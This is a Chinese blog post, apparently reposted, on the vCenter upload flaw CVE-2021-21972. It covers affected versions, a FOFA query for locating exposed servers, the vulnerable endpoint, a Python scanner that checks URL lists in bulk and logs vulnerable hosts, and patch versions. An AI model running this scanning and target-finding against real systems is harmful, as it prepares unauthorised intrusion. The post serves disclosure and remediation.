背景
CVE-2021-21972 vmware vcenter的一个未授权的命令执行漏洞。该漏洞可以上传一个webshell至vcenter服务器的任意位置，然后执行webshell即可。
影响版本
vmware:esxi:7.0/6.7/6.5
vmware:vcenter_server:7.0/6.7/6.5
漏洞复现 fofa查询
语法:title="+ ID_VC_Welcome +"
POC
https://x.x.x.x/ui/vropspluginui/rest/services/uploadova
使用https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC脚本批量验证
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#-*- coding:utf-8 -*-banner = """ 888888ba dP 88 `8b 88 a88aaaa8P' .d8888b. d8888P .d8888b. dP dP 88 `8b. 88' `88 88 Y8ooooo. 88 88 88 .88 88. .88 88 88 88. .88 88888888P `88888P8 dP `88888P' `88888P' ooooooooooooooooooooooooooooooooooooooooooooooooooooo @time:2021/02/24 CVE-2021-21972.py C0de by NebulabdSec - @batsu """print(banner)import threadpoolimport randomimport requestsimport argparseimport http.clientimport urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)http.client.HTTPConnection._http_vsn = 10http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'TARGET_URI = "/ui/vropspluginui/rest/services/uploadova"def get_ua(): first_num = random.randint(55, 62) third_num = random.randint(0, 3200) fourth_num = random.randint(0, 140) os_type = [ '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(X11; Linux x86_64)', '(Macintosh; Intel Mac OS X 10_12_6)' ] chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num) ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36', '(KHTML, like Gecko)', chrome_version, 'Safari/537.36'] ) return uadef CVE_2021_21972(url): proxies = {"scoks5": "http://127.0.0.1:1081"} headers = { 'User-Agent': get_ua(), "Content-Type": "application/x-www-form-urlencoded" } targetUrl = url + TARGET_URI try: res = requests.get(targetUrl, headers=headers, timeout=15, verify=False, proxies=proxies) # proxies={'socks5': 'http://127.0.0.1:1081'}) # print(len(res.text)) if res.status_code == 405: print("[+] URL:{}--------存在CVE-2021-21972漏洞".format(url)) # print("[+] Command success result: " + res.text + "\n") with open("存在漏洞地址.txt", 'a') as fw: fw.write(url + '\n') else: print("[-] " + url + " 没有发现CVE-2021-21972漏洞.\n") # except Exception as e: # print(e) except: print("[-] " + url + " Request ERROR.\n")def multithreading(filename, pools=5): works = [] with open(filename, "r") as f: for i in f: func_params = [i.rstrip("\n")] # func_params = [i] + [cmd] works.append((func_params, None)) pool = threadpool.ThreadPool(pools) reqs = threadpool.makeRequests(CVE_2021_21972, works) [pool.putRequest(req) for req in reqs] pool.wait()def main(): parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", help="Target URL; Example:http://ip:port") parser.add_argument("-f", "--file", help="Url File; Example:url.txt") # parser.add_argument("-c", "--cmd", help="Commands to be executed; ") args = parser.parse_args() url = args.url # cmd = args.cmd file_path = args.file if url != None and file_path ==None: CVE_2021_21972(url) elif url == None and file_path != None: multithreading(file_path, 10) # 默认15线程if __name__ == "__main__": main() |
EXP 修复建议
vCenter Server7.0版本升级到7.0.U1c
vCenter Server6.7版本升级到6.7.U3l
vCenter Server6.5版本升级到6.5 U3n
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原文链接：https://blog.csdn.net/weixin_44146996/article/details/114099275
